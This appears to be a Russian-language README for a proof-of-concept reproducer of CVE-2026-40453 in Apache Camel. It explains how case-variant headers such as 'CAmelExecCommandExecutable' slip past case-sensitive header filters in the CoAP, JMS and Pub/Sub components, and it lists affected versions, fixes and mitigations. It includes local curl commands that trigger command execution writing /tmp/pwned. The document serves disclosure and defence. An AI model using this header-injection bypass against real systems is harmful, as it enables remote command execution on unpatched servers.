
Репродуктор для CVE-2026-40453: инъекция Camel-заголовков с вариантами регистра в Apache Camel (неполное исправление CVE-2025-27636)
Этот проект демонстрирует CVE-2026-40453 — неполное исправление для CVE-2025-27636. Исправление 2025 года добавило setLowerCase(true) в HttpHeaderFilterStrategy, чтобы имена заголовков с вариантом регистра (например, CAmelExecCommandExecutable) отфильтровывались наряду с каноническим CamelExecCommandExecutable. Тот же вызов не был применён к пяти не-HTTP реализациям HeaderFilterStrategy (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), которые фильтруют с учётом регистра, в то время как Camel Exchange хранит заголовки в карте, чувствительной к регистру. Поэтому злоумышленник может внедрить управляющий заголовок с вариантом регистра, который обходит фильтр, но по-прежнему распознаётся компонентами ниже по потоку (, , ...) под своим каноническим именем → / произвольная запись файлов.
Camel*camel-execcamel-fileЭтот репродуктор демонстрирует обход с помощью camel-coap (самодостаточный, без внешнего брокера); тот же недостаток затрагивает стратегии JMS/SJMS/Google-Pubsub.
| Свойство | Значение |
|---|---|
| Компоненты | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (в этом PoC используется camel-coap) |
| Затронутые классы | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Корневая причина | Фильтрация startsWith("Camel"/"camel") с учётом регистра (отсутствует setLowerCase(true)) в сравнении с нечувствительной к регистру картой заголовков Exchange |
| CWE | CWE-20 (Improper Input Validation) — инъекция заголовков сообщений |
| Воздействие | RCE / произвольная запись файлов через продюсеры, управляемые заголовками |
| Затронутые версии | Начиная с 3.0.0 и до 4.14.6, начиная с 4.15.0 и до 4.18.2, начиная с 4.19.0 и до 4.20.0 |
| Исправленные версии | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (завершает исправление для CVE-2025-27636) |
| Исследователь | Saroj Khadka |
CoAPHeaderFilterStrategy (затронутая версия) фильтрует Camel* с учётом регистра:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Когда поступает CoAP-запрос, CamelCoapResource.handleRequest() помещает каждый параметр URI-запроса в заголовки входящего сообщения Exchange, пропуская его через strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") возвращает true → отфильтровывается.CAmelExecCommandExecutable — startsWith("Camel") возвращает false (CAm ≠ Cam) → не отфильтровывается.Карта заголовков Exchange не чувствительна к регистру, поэтому заголовок с вариантом регистра позже распознаётся exec-продюсером под своим каноническим именем CamelExecCommandExecutable, переопределяя команду.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Выполните обновление до 4.14.6 / 4.18.2 / 4.20.0. Исправление (CAMEL-23313) добавляет setLowerCase(true) в пять не-HTTP реализаций HeaderFilterStrategy, чтобы имена Camel* с вариантом регистра также отфильтровывались.
До обновления:
HeaderFilterStrategy с setLowerCase(true) или removeHeaders с шаблоном без учёта регистра.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.